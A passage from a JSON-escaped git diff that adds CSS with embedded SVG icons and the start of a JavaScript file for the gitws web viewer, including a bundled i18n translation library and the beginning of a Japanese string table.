cm9rZT0iIzAwMDAwMCIgc3Ryb2tlLXdpZHRoPSIxLjIiPi88L3RzcGFuPjwvdGV4dD4KCQkJPHRleHQgeD0iMTM5LjYwNTEyIiB5PSIxNzIuMTYyNTciIGZpbHRlcj0idXJsKCNhKSIgZm9udC1zaXplPSI1OC4xODdweCIgdGV4dC1hbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSIxMzkuNjA1MTIiIHk9IjE3Mi4xNjI1NyIgZmlsbD0iIzAwMDAwMCIgc3Ryb2tlPSIjMDAwMDAwIiBzdHJva2Utd2lkdGg9IjEuMiI+LTwvdHNwYW4+PC90ZXh0PgoJCTwvZz4KCQk8ZyBmb250LWZhbWlseT0iJ09wZW4gU2FucyciIGxldHRlci1zcGFjaW5nPSIwcHgiIHRleHQtYW5jaG9yPSJtaWRkbGUiIHdvcmQtc3BhY2luZz0iMHB4Ij4KCQkJPHRleHQgeD0iMTE4LjU4MTQ1IiB5PSIxNzcuNjU4NDkiIGZpbGw9IiNmZjAwMDAiIGZvbnQtc2l6ZT0iNjEuNDA2cHgiIHN0cm9rZS13aWR0aD0iNy42NzU3IiB0ZXh0LWFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZlYXR1cmUtc2V0dGluZ3M6bm9ybWFsO2ZvbnQtdmFyaWFudC1jYXBzOm5vcm1hbDtmb250LXZhcmlhbnQtbGlnYXR1cmVzOm5vcm1hbDtmb250LXZhcmlhbnQtbnVtZXJpYzpub3JtYWw7bGluZS1oZWlnaHQ6MS4yNSIgeG1sOnNwYWNlPSJwcmVzZXJ2ZSI+PHRzcGFuIHg9IjExOC41ODE0NSIgeT0iMTc3LjY1ODQ5IiBmaWxsPSIjZmYwMDAwIiBzdHJva2Utd2lkdGg9IjcuNjc1NyI+KzwvdHNwYW4+PC90ZXh0PgoJCQk8dGV4dCB4PSIxMzEuNTkyNDciIHk9IjE3My43OTk3IiBmaWxsPSIjODBiM2ZmIiBmb250LXNpemU9IjQ3Ljg0OXB4IiBzdHJva2Utd2lkdGg9IjUuOTgxMiIgdGV4dC1hbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1mZWF0dXJlLXNldHRpbmdzOm5vcm1hbDtmb250LXZhcmlhbnQtY2Fwczpub3JtYWw7Zm9udC12YXJpYW50LWxpZ2F0dXJlczpub3JtYWw7Zm9udC12YXJpYW50LW51bWVyaWM6bm9ybWFsO2xpbmUtaGVpZ2h0OjEuMjUiIHhtbDpzcGFjZT0icHJlc2VydmUiPjx0c3BhbiB4PSIxMzEuNTkyNDciIHk9IjE3My43OTk3IiBmaWxsPSIjODBiM2ZmIiBzdHJva2Utd2lkdGg9IjUuOTgxMiI+LzwvdHNwYW4+PC90ZXh0PgoJCQk8dGV4dCB4PSIxMzkuMzI0NDMiIHk9IjE3MS43MzQ0NyIgZmlsbD0iIzAwZmYwMCIgZm9udC1zaXplPSI1OC4xODdweCIgc3Ryb2tlLXdpZHRoPSI3LjI3MzQiIHRleHQtYWxpZ249ImNlbnRlciIgc3R5bGU9ImZvbnQtZmVhdHVyZS1zZXR0aW5nczpub3JtYWw7Zm9udC12YXJpYW50LWNhcHM6bm9ybWFsO2ZvbnQtdmFyaWFudC1saWdhdHVyZXM6bm9ybWFsO2ZvbnQtdmFyaWFudC1udW1lcmljOm5vcm1hbDtsaW5lLWhlaWdodDoxLjI1IiB4bWw6c3BhY2U9InByZXNlcnZlIj48dHNwYW4geD0iMTM5LjMyNDQzIiB5PSIxNzEuNzM0NDciIGZpbGw9IiMwMGZmMDAiIHN0cm9rZS13aWR0aD0iNy4yNzM0Ij4tPC90c3Bhbj48L3RleHQ+CgkJPC9nPgoJCTxwYXRoIGQ9Im0xMzIuOTIgMTU4LjI3LTAuNTYxMjYgMC4wNDY4di00LjM0OThsMi4yOTE4LTAuMDkzNSAwLjA5MzUtMC4yODA2My0yLjYxOTIgMC4wOTM1LTAuMDkzNSA0LjkxMTEgMC45MzU0NCAwLjA5MzV6IiBmaWxsPSIjMDhhIi8+CgkJPHBhdGggZD0ibTEzMC42MyAxNTMuOTItMS41NDM1IDQuMjA5NS0wLjUxNDUtMC4wNDY4IDEuNjM3LTQuMTYyN3oiIGZpbGw9IiNhNDAiLz4KCTwvZz4KPC9zdmc+\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.5em 0.6em 0.5em 0.6em;\n+ vertical-align:middle;\n+\tmargin-right: 0.3em;\n+\tcursor:pointer;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.summary {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCA1MS4yMzY4ODEgNTEuMjM2ODY2IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGRlZnM+CgkJPGZpbHRlciBpZD0iYSIgeD0iLS4wNTA0IiB5PSItLjA1MDQiIHdpZHRoPSIxLjEwMDgiIGhlaWdodD0iMS4xMDA4IiBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPgoJCQk8ZmVHYXVzc2lhbkJsdXIgc3RkRGV2aWF0aW9uPSIxLjQ0MTgxNDQiLz4KCQk8L2ZpbHRlcj4KCTwvZGVmcz4KCTxnIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02OC40NiAtMTc3LjMpIiBzdHJva2U9IiMwMDAiIHN0cm9rZS1saW5lam9pbj0icm91bmQiPgoJCTxwYXRoIHRyYW5zZm9ybT0ibWF0cml4KC42Nzc5MyAwIDAgLjY3NzkzIC0yNTcuNDMgLTM4LjQzNikiIGQ9Im01MTguNTEgMzIxLjY5YTM0LjMyOSAzNC4zMjkgMCAwIDAgLTM0LjMyOSAzNC4zMjkgMzQuMzI5IDM0LjMyOSAwIDAgMCAzNC4zMjkgMzQuMzI5IDM0LjMyOSAzNC4zMjkgMCAwIDAgMzQuMzI5IC0zNC4zMjkgMzQuMzI5IDM0LjMyOSAwIDAgMCAtMzQuMzI5IC0zNC4zMjl6bS0wLjM0NTIgMTEuNjQ1YTIyLjc5OSAyMi43OTkgMCAwIDEgMjIuNzk5IDIyLjc5OSAyMi43OTkgMjIuNzk5IDAgMCAxIC0yMi43OTkgMjIuOCAyMi43OTkgMjIuNzk5IDAgMCAxIC0yMi44IC0yMi44IDIyLjc5OSAyMi43OTkgMCAwIDEgMjIuOCAtMjIuNzk5eiIgZmlsdGVyPSJ1cmwoI2EpIiBzdHJva2Utd2lkdGg9IjIiLz4KCQk8cGF0aCBkPSJtOTMuNTc4IDE3OS4wMWEyMy4yNzMgMjMuMjczIDAgMCAwIC0yMy4yNzIgMjMuMjcyIDIzLjI3MyAyMy4yNzMgMCAwIDAgMjMuMjcyIDIzLjI3MyAyMy4yNzMgMjMuMjczIDAgMCAwIDIzLjI3MyAtMjMuMjczIDIzLjI3MyAyMy4yNzMgMCAwIDAgLTIzLjI3MyAtMjMuMjcyem0tMC4yMzQwMiA3Ljg5NDNhMTUuNDU2IDE1LjQ1NiAwIDAgMSAxNS40NTYgMTUuNDU2IDE1LjQ1NiAxNS40NTYgMCAwIDEgLTE1LjQ1NiAxNS40NTcgMTUuNDU2IDE1LjQ1NiAwIDAgMSAtMTUuNDU3IC0xNS40NTcgMTUuNDU2IDE1LjQ1NiAwIDAgMSAxNS40NTcgLTE1LjQ1NnoiIGZpbGw9IiNlNmU2ZTYiIGZpbGwtb3BhY2l0eT0iLjk3MTA3IiBzdHJva2Utd2lkdGg9Ii44MTM1MSIvPgoJPC9nPgo8L3N2Zz4\u003d\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.7em;\n+ vertical-align:middle;\n+\tmargin-right: 0.5em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+img.rawpatch {\n+\tdisplay: inline-block;\n+ background: url(\u0022data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHN2ZyB2ZXJzaW9uPSIxLjEiIHZpZXdCb3g9IjAgMCAxMS4xNDY2NzQgNS41MzM2MDI3IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgoJPGcgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoNzUuMTIxIC0xNTAuNikiPgoJCTxwYXRoIGQ9Im0tNzUuMDA3IDE1NS40NGMwLjM0Njk4IDAuODMxNTIgMS40MDA4IDAuNzc5MjcgMi4xMTY1IDAuNTQ2MTIgMC45MDE5OS0wLjI5NjQxIDEuNzk2Ni0wLjYyNTczIDIuNjYwMS0wLjk3MzgzIDAuNzA4MzUtMC4wMTIyIDEuMzY3MS0wLjI0MDYxIDEuOTk0Ni0wLjU1NzIyIDAuNjYyNC0wLjQyNjA3IDEuMjgyOS0wLjg3Nzg5IDIuMDU1My0xLjA5NzEgMC43MDI3MS0wLjM1NzkyIDEuNjI4Ny0wLjUwNzk1IDIuMDY4Ni0xLjIxMzQgMC4zNjIwNC0wLjYzNDE0LTAuMDU1MjMtMC44NTE0Ny0wLjQ4OTE1LTAuMzY2Ny0yLjQyODIgMC45MzAxLTQuODA3MiAxLjk5NzYtNy4yMTY1IDIuOTc2NC0xLjA2MzIgMC4yMjg2LTIuMTI2NCAwLjQ1NzIxLTMuMTg5NiAwLjY4NTgyeiIgZmlsbC1vcGFjaXR5PSIuMzU5NSIvPgoJCTxwYXRoIGQ9Im0tNzQuMjY3IDE1My44NCAyLjI2ODQtMC43OTUxM2MwLjI4MDg0LTAuNDU0OTIgMC45MTM5OS0wLjg0OTU0IDEuNDA5OC0xLjAwMDEgMC40ODM4LTAuMTgxNzEgMS4yMTU4LTAuMzgzMDcgMS43MTAxLTAuNTI1NTkgMC42NzMzLTAuMDM5NSAwLjg0MzE0LTAuMjEzMzcgMS40ODY3LTAuMzg2OTIgMC40ODIzNi0wLjEyOTcyIDEuNDE3NS0wLjQ3NDczIDEuOTE0NC0wLjUyMzI4IDAuNTUzODEtMC4wMjIyIDAuNzA0NzQgMC4wNDQ2IDEuMTY4NiAwLjQwODQ5IDAuMjg5NTIgMC4zMzg5MyAwLjI4OTI5IDEuMDEyMS0wLjA5MjkzIDEuMzE2Mi0wLjMzNDUyIDAuNDY0MDMtMC45NjU4OSAwLjUxNTI4LTEuNDQyNCAwLjc3ODg1LTAuNTAwMTUgMC4yMTEyOC0xLjAwMDMgMC40MjI1NS0xLjUwMDUgMC42MzM4Mi0wLjIyNjYxLTAuMDc3LTAuNDQ0NDktMC4wODgxLTAuNjU2MzItMC4wNTctMC44ODk5IDAuMjYxNTgtMi4wNTA3IDAuNTUwMjItMi41NDIgMS4wODA1LTAuMzA3MTQgMC40NjQ1Ni0wLjg1ODk2IDAuNTM2MTYtMS4zNDUgMC43MDUxMS0wLjQ5MzgxIDAuMTUyNjYtMC45NzY4NyAwLjM1MzQ2LTEuNDcwNyAwLjQ5NTU0LTAuNjk4MzUgMC4wNzU2LTEuMTc5NCAwLjE1MDc0LTEuNzA4LTAuNjA0NDYtMC4xMzA5My0wLjUzMDg3LTAuMDIwNjItMC45Mzc1NiAwLjI4NTI5LTEuMjY4OHoiIGZpbGw9IiNmZmFkOGMiLz4KCQk8cGF0aCBkPSJtLTcwLjU3NiAxNTQuOTFjMC41MDgyOC0wLjU3ODYzIDEuMy0wLjc0NjUxIDEuOTkzLTEuMDAxNSAwLjI1MTk5LTAuMDUzOSAwLjkxMDgxLTAuMzY3ODIgMC45Mzk5NSAwLjA0MDItMC4yMTI4NCAwLjMzODIzLTAuNjY5MzkgMC4zOTk1Ni0xLjAwOTkgMC41NjI4NS0wLjU1NDcgMC4xNzU4Ni0xLjExMzkgMC4zNTg4MS0xLjY4NyAwLjQ1OTMtMC4wODIyNCA0ZS0zIC0wLjE2Nzc5LTAuMDEyOC0wLjIzNjExLTAuMDYwOXoiIGZpbGw9IiNmZmY2ZDUiLz4KCQk8ZyBmaWxsPSIjNTM1ZDVmIiBmaWxsLW9wYWNpdHk9Ii4xNzM1NSI+CgkJCTxwYXRoIGQ9Im0tNzIuMzYyIDE1My4xOCAxLjA3NDkgMi4wNjcgMC4zMzA3My0wLjA5OTIgMC4yNDgwNS0wLjE2NTM2IDAuMTk4NDQtMC4yNjQ1OCAwLjI0ODA1LTAuMjE0OTggMC4yNjQ1OC0wLjE0ODgzLTEuMTI0NS0yLjExNjctMC4yNDgwNSAwLjIxNDk3LTAuMzYzOCAwLjI2NDU5LTAuMTQ4ODMgMC4xNjUzNi0wLjA5OTIyIDAuMTY1MzZ6Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzQuMzM4IiBjeT0iMTU0LjU2IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzMuNzI2IiBjeT0iMTU0Ljc2IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzMuMDgxIiBjeT0iMTU1LjAzIiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNzIuNDQ0IiBjeT0iMTU1LjMiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03NC4yNzkiIGN5PSIxNTUuMTIiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My42ODIiIGN5PSIxNTUuMzUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My43MDYiIGN5PSIxNTQuMDUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03My4xMDkiIGN5PSIxNTQuMjciIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03Mi41MTMiIGN5PSIxNTQuNjIiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03MS44MjMiIGN5PSIxNTQuOTkiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii03Mi41NzEiIGN5PSIxNTMuOTUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ny42NDkiIGN5PSIxNTEuNzkiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ni45MjEiIGN5PSIxNTIuMDUiIHJ4PSIuMjA2NzEiIHJ5PSIuMTkzMzciLz4KCQkJPGVsbGlwc2UgY3g9Ii02Ni4xMjciIGN5PSIxNTIuNCIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2LjgwNSIgY3k9IjE1MS40NiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2LjAyOCIgY3k9IjE1MS42NSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjM2NyIgY3k9IjE1Mi4xMiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY2Ljc3MiIgY3k9IjE1Mi42OCIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY3LjY5OCIgY3k9IjE1Mi40NSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1Ljk3OCIgY3k9IjE1MS4xMSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjA4NSIgY3k9IjE1MS40MSIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY0LjcyMiIgY3k9IjE1Mi4wMiIgcng9Ii4yMDY3MSIgcnk9Ii4xOTMzNyIvPgoJCQk8ZWxsaXBzZSBjeD0iLTY1LjM1IiBjeT0iMTUwLjg5IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJCTxlbGxpcHNlIGN4PSItNjcuMjUyIiBjeT0iMTUzLjE5IiByeD0iLjIwNjcxIiByeT0iLjE5MzM3Ii8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNjkuNTE3IDE1Mi4yNSAwLjM4MDM0IDAuMDE2NS0wLjEzMjI5IDAuMzQ3MjdjMC4wMzE3IDAuMDk5MyAwLjA1OTM0IDAuMTY4NCAwLjE1NDI0IDAuMjIxOSAwLjIzODU1IDAuMTM0NDggMC42NDY1LTAuMTEwNzkgMC42NjQ5MyAwLjA1NzktMC4xMjAyOSAwLjA3NjktMC4xOTczNyAwLjIzODQtMC4zMzk2NiAwLjMzMTk4LTAuMjc3IDAuMTgyMTctMC41ODE4MSAwLjM1NzQ0LTAuODYwNCAwLjM3NTU1LTAuNDIwOTEgMC4wNDE2LTAuOTU2MzItMC4zOTk3MS0wLjU0MTI4LTAuNzg0NDUgMC4xODM0Ni0wLjIzNDE5IDAuNDQwOTUtMC4zODkwMyAwLjY3NDEyLTAuNTY2N3oiIGZpbGw9IiM2Yjc0NzMiIGZpbGwtb3BhY2l0eT0iLjI0MzgiLz4KCQk8ZyBmaWxsPSJub25lIiBzdHJva2U9IiM4MDY2MDAiIHN0cm9rZS1vcGFjaXR5PSIuMzAxNjUiIHN0cm9rZS13aWR0aD0iLjAyIj4KCQkJPHBhdGggZD0ibS02OS44NjUgMTUyLjczYzAuMDM5OTYgMC4wMTI0IDAuMDc5OTMgMC4wMjQ4IDAuMTE5ODkgMC4wMzcyIDAuMDY4NTYgMC4wMzk5IDAuMTEwNzkgMC4xMzIzNCAwLjA2NDg3IDAuMjAzNDYtMC4wMDE1IDVlLTMgOS41M2UtNCAwLjAxMDUgMC4wMDEzIDAuMDE1OCIvPgoJCQk8cGF0aCBkPSJtLTY5LjU0OCAxNTMuMTFjMC4wMzk5NiAwLjAxMjQgMC4wNzk5MyAwLjAyNDggMC4xMTk4OSAwLjAzNzIgMC4wNjg1NiAwLjAzOTkgMC4xMTA3OSAwLjEzMjM0IDAuMDY0ODcgMC4yMDM0Ni0wLjAwMTUgNWUtMyA5LjUyZS00IDAuMDEwNSAwLjAwMTMgMC4wMTU4Ii8+CgkJCTxwYXRoIGQ9Im0tNzAuMTIgMTUzLjE0Yy0wLjAwMTYgMC4wNDE4LTAuMDAzMiAwLjA4MzYtMC4wMDQ4IDAuMTI1NDQgMC4wMTQ4IDAuMDc3OSAwLjA4NzkyIDAuMTQ4NTEgMC4xNzAyNyAwLjEyODg5IDAuMDA1MiAyLjVlLTQgMC4wMDk2IDRlLTMgMC4wMTQ0NyA2ZS0zIi8+CgkJPC9nPgoJCTxwYXRoIGQ9Im0tNzIuMTE1IDE1My4wOCAxLjA5OTEgMi4xMTY0IDAuMjEwNDgtMC4xNjM3IDAuMTE2OTMtMC4xMDUyNC0xLjE0NTktMi4xMzk4LTAuMTA1MjQgMC4xODcwOS0wLjA0Njc3IDAuMDU4NXoiIGZpbGw9IiM2Yjc0NzMiIGZpbGwtb3BhY2l0eT0iLjI0MzgiLz4KCQk8cGF0aCBkPSJtLTcwLjAyOCAxNTMuMTggMC4wOTkzOS0wLjAyOTIgMC4wNTg0NyAwLjAyOTIgMC4wMDU4IDAuMDUyNi0wLjAxNzU0IDAuMDU4NS0wLjAyMzM5IDAuMDM1MS0wLjA0MDkzIDZlLTMgMC4wMTE2OS0wLjA1MjYtMC4wNTI2MiAwLjAzNTEtMC4wNTg0Ni0wLjA0MDkgMC4wNTg0Ni0wLjAzNTEtMC4wNDA5Mi02ZS0zeiIgZmlsbD0iIzgwODA4MCIgZmlsbC1vcGFjaXR5PSIuMTQ4NzYiLz4KCTwvZz4KPC9zdmc+\u0022);\n+ width:0px;\n+ height:0px;\n+ padding:0.6em 1.2em;\n+ vertical-align:middle;\n+\tmargin-right: 0.1em;\n+ background-repeat: no-repeat;\n+ color: rgba(0, 0, 0, 0) !important;\n+}\n+\n+/* showdown css */\n+\n+#do-showdown pre {\n+\tbackground-color: #f0f6fa;\n+\tfont-size: 100%;\n+\toverflow:auto;\n+\tpadding:10px;\n+\tline-height: 140%;\n+}\n+\n+#do-showdown code {\n+\tpadding: 0.22em 0.45em;\n+\tbackground-color: #f0f6fa;\n+\tfont-size: 100%;\n+\toverflow:auto;\n+\tline-height: 100%;\n+\tborder-radius: 4px;\n+}\n+\n+#do-showdown tbody tr:nth-child(even) {\n+\tbackground-color: #eef3f8;\n+\tbox-sizing: border-box;\n+\toverflow:auto;\n+\tword-wrap:break-word;\n+}\n+\n+#do-showdown tbody tr:nth-child(odd) {\n+\tbackground-color: #f4fafe;\n+\tbox-sizing: border-box;\n+\toverflow:auto;\n+\tword-wrap:break-word;\n+}\n+\n+#do-showdown thead {\n+\tdisplay: table-header-group;\n+\tpadding: 6px 13px;\n+\tbackground-color: #e0e6ea;\n+\tbox-sizing: border-box;\n+\toverflow:auto;\n+\tword-wrap:break-word;\n+}\n+\n+#do-showdown td {\n+\tpadding: 6px 13px;\n+\tborder: 1px solid #d7e0d0;\n+\tbox-sizing: border-box;\n+\toverflow:auto;\n+\tword-wrap:break-word;\n+}\n+\n+div.hidden-tiger {\n+ display:none\n+}\ndiff --git a/assets/jg2.js b/assets/jg2.js\nnew file mode 100644\nindex 0000000..562c32a\n--- /dev/null\n+++ b/assets/jg2.js\n@@ -0,0 +1,2294 @@\n+/* gitws.js: javascript functions for gitws\n+ *\n+ * Copyright (C) 2018 Andy Green \u003candy@warmcat.com\u003e\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation:\n+ * version 2.1 of the License.\n+ */\n+\n+/* http://i18njs.com/ this from http://i18njs.com/js/i18n.js */\n+(function() {\n+ var Translator, i18n, translator,\n+ __bind \u003d function(fn, me){ return function(){ return fn.apply(me, arguments); }; };\n+\n+ Translator \u003d (function() {\n+ function Translator() {\n+ this.translate \u003d __bind(this.translate, this); this.data \u003d {\n+ values: {},\n+ contexts: []\n+ };\n+ this.globalContext \u003d {};\n+ }\n+\n+ Translator.prototype.translate \u003d function(text, defaultNumOrFormatting, numOrFormattingOrContext, formattingOrContext, context) {\n+ var defaultText, formatting, isObject, num;\n+\n+ if (context \u003d\u003d null) {\n+ context \u003d this.globalContext;\n+ }\n+ isObject \u003d function(obj) {\n+ var type;\n+\n+ type \u003d typeof obj;\n+ return type \u003d\u003d\u003d \u0022function\u0022 || type \u003d\u003d\u003d \u0022object\u0022 \u0026\u0026 !!obj;\n+ };\n+ if (isObject(defaultNumOrFormatting)) {\n+ defaultText \u003d null;\n+ num \u003d null;\n+ formatting \u003d defaultNumOrFormatting;\n+ context \u003d numOrFormattingOrContext || this.globalContext;\n+ } else {\n+ if (typeof defaultNumOrFormatting \u003d\u003d\u003d \u0022number\u0022) {\n+ defaultText \u003d null;\n+ num \u003d defaultNumOrFormatting;\n+ formatting \u003d numOrFormattingOrContext;\n+ context \u003d formattingOrContext || this.globalContext;\n+ } else {\n+ defaultText \u003d defaultNumOrFormatting;\n+ if (typeof numOrFormattingOrContext \u003d\u003d\u003d \u0022number\u0022) {\n+ num \u003d numOrFormattingOrContext;\n+ formatting \u003d formattingOrContext;\n+ context \u003d context;\n+ } else {\n+ num \u003d null;\n+ formatting \u003d numOrFormattingOrContext;\n+ context \u003d formattingOrContext || this.globalContext;\n+ }\n+ }\n+ }\n+ if (isObject(text)) {\n+ if (isObject(text['i18n'])) {\n+ text \u003d text['i18n'];\n+ }\n+ return this.translateHash(text, context);\n+ } else {\n+ return this.translateText(text, num, formatting, context, defaultText);\n+ }\n+ };\n+\n+ Translator.prototype.add \u003d function(d) {\n+ var c, k, v, _i, _len, _ref, _ref1, _results;\n+\n+ if ((d.values !\u003d null)) {\n+ _ref \u003d d.values;\n+ for (k in _ref) {\n+ v \u003d _ref[k];\n+ this.data.values[k] \u003d v;\n+ }\n+ }\n+ if ((d.contexts !\u003d null)) {\n+ _ref1 \u003d d.contexts;\n+ _results \u003d [];\n+ for (_i \u003d 0, _len \u003d _ref1.length; _i \u003c _len; _i++) {\n+ c \u003d _ref1[_i];\n+ _results.push(this.data.contexts.push(c));\n+ }\n+ return _results;\n+ }\n+ };\n+\n+ Translator.prototype.setContext \u003d function(key, value) {\n+ return this.globalContext[key] \u003d value;\n+ };\n+\n+ Translator.prototype.clearContext \u003d function(key) {\n+ return this.lobalContext[key] \u003d null;\n+ };\n+\n+ Translator.prototype.reset \u003d function() {\n+ this.data \u003d {\n+ values: {},\n+ contexts: []\n+ };\n+ return this.globalContext \u003d {};\n+ };\n+\n+ Translator.prototype.resetData \u003d function() {\n+ return this.data \u003d {\n+ values: {},\n+ contexts: []\n+ };\n+ };\n+\n+ Translator.prototype.resetContext \u003d function() {\n+ return this.globalContext \u003d {};\n+ };\n+\n+ Translator.prototype.translateHash \u003d function(hash, context) {\n+ var k, v;\n+\n+ for (k in hash) {\n+ v \u003d hash[k];\n+ if (typeof v \u003d\u003d\u003d \u0022string\u0022) {\n+ hash[k] \u003d this.translateText(v, null, null, context);\n+ }\n+ }\n+ return hash;\n+ };\n+\n+ Translator.prototype.translateText \u003d function(text, num, formatting, context, defaultText) {\n+ var contextData, result;\n+\n+ if (context \u003d\u003d null) {\n+ context \u003d this.globalContext;\n+ }\n+ if (this.data \u003d\u003d null) {\n+ return this.useOriginalText(defaultText || text, num, formatting);\n+ }\n+ contextData \u003d this.getContextData(this.data, context);\n+ if (contextData !\u003d null) {\n+ result \u003d this.findTranslation(text, num, formatting, contextData.values, defaultText);\n+ }\n+ if (result \u003d\u003d null) {\n+ result \u003d this.findTranslation(text, num, formatting, this.data.values, defaultText);\n+ }\n+ if (result \u003d\u003d null) {\n+ return this.useOriginalText(defaultText || text, num, formatting);\n+ }\n+ return result;\n+ };\n+\n+ Translator.prototype.findTranslation \u003d function(text, num, formatting, data) {\n+ var result, triple, value, _i, _len;\n+\n+ value \u003d data[text];\n+ if (value \u003d\u003d null) {\n+ return null;\n+ }\n+ if (num \u003d\u003d null) {\n+ if (typeof value \u003d\u003d\u003d \u0022string\u0022) {\n+ return this.applyFormatting(value, num, formatting);\n+ }\n+ } else {\n+ if (value instanceof Array || value.length) {\n+ for (_i \u003d 0, _len \u003d value.length; _i \u003c _len; _i++) {\n+ triple \u003d value[_i];\n+ if ((num \u003e\u003d triple[0] || triple[0] \u003d\u003d\u003d null) \u0026\u0026 (num \u003c\u003d triple[1] || triple[1] \u003d\u003d\u003d null)) {\n+ result \u003d this.applyFormatting(triple[2].replace(\u0022-%n\u0022, String(-num)), num, formatting);\n+ return this.applyFormatting(result.replace(\u0022%n\u0022, String(num)), num, formatting);\n+ }\n+ }\n+ }\n+ }\n+ return null;\n+ };\n+\n+ Translator.prototype.getContextData \u003d function(data, context) {\n+ var c, equal, key, value, _i, _len, _ref, _ref1;\n+\n+ if (data.contexts \u003d\u003d null) {\n+ return null;\n+ }\n+ _ref \u003d data.contexts;\n+ for (_i \u003d 0, _len \u003d _ref.length; _i \u003c _len; _i++) {\n+ c \u003d _ref[_i];\n+ equal \u003d true;\n+ _ref1 \u003d c.matches;\n+ for (key in _ref1) {\n+ value \u003d _ref1[key];\n+ equal \u003d equal \u0026\u0026 value \u003d\u003d\u003d context[key];\n+ }\n+ if (equal) {\n+ return c;\n+ }\n+ }\n+ return null;\n+ };\n+\n+ Translator.prototype.useOriginalText \u003d function(text, num, formatting) {\n+ if (num \u003d\u003d null) {\n+ return this.applyFormatting(text, num, formatting);\n+ }\n+ return this.applyFormatting(text.replace(\u0022%n\u0022, String(num)), num, formatting);\n+ };\n+\n+ Translator.prototype.applyFormatting \u003d function(text, num, formatting) {\n+ var ind, regex;\n+\n+ for (ind in formatting) {\n+ regex \u003d new RegExp(\u0022%{\u0022 + ind + \u0022}\u0022, \u0022g\u0022);\n+ text \u003d text.replace(regex, formatting[ind]);\n+ }\n+ return text;\n+ };\n+\n+ return Translator;\n+\n+ })();\n+\n+ translator \u003d new Translator();\n+\n+ i18n \u003d translator.translate;\n+\n+ i18n.translator \u003d translator;\n+\n+ i18n.create \u003d function(data) {\n+ var trans;\n+\n+ trans \u003d new Translator();\n+ if (data !\u003d null) {\n+ trans.add(data);\n+ }\n+ trans.translate.create \u003d i18n.create;\n+ return trans.translate;\n+ };\n+\n+ (typeof module !\u003d\u003d \u0022undefined\u0022 \u0026\u0026 module !\u003d\u003d null ? module.exports \u003d i18n : void 0) || (this.i18n \u003d i18n);\n+\n+}).call(this);\n+\n+var lang_ja \u003d \u0022{\u0022 +\n+ \u0022\u005c\u0022values\u005c\u0022:{\u0022 +\n+ \u0022\u005c\u0022Summary\u005c\u0022: 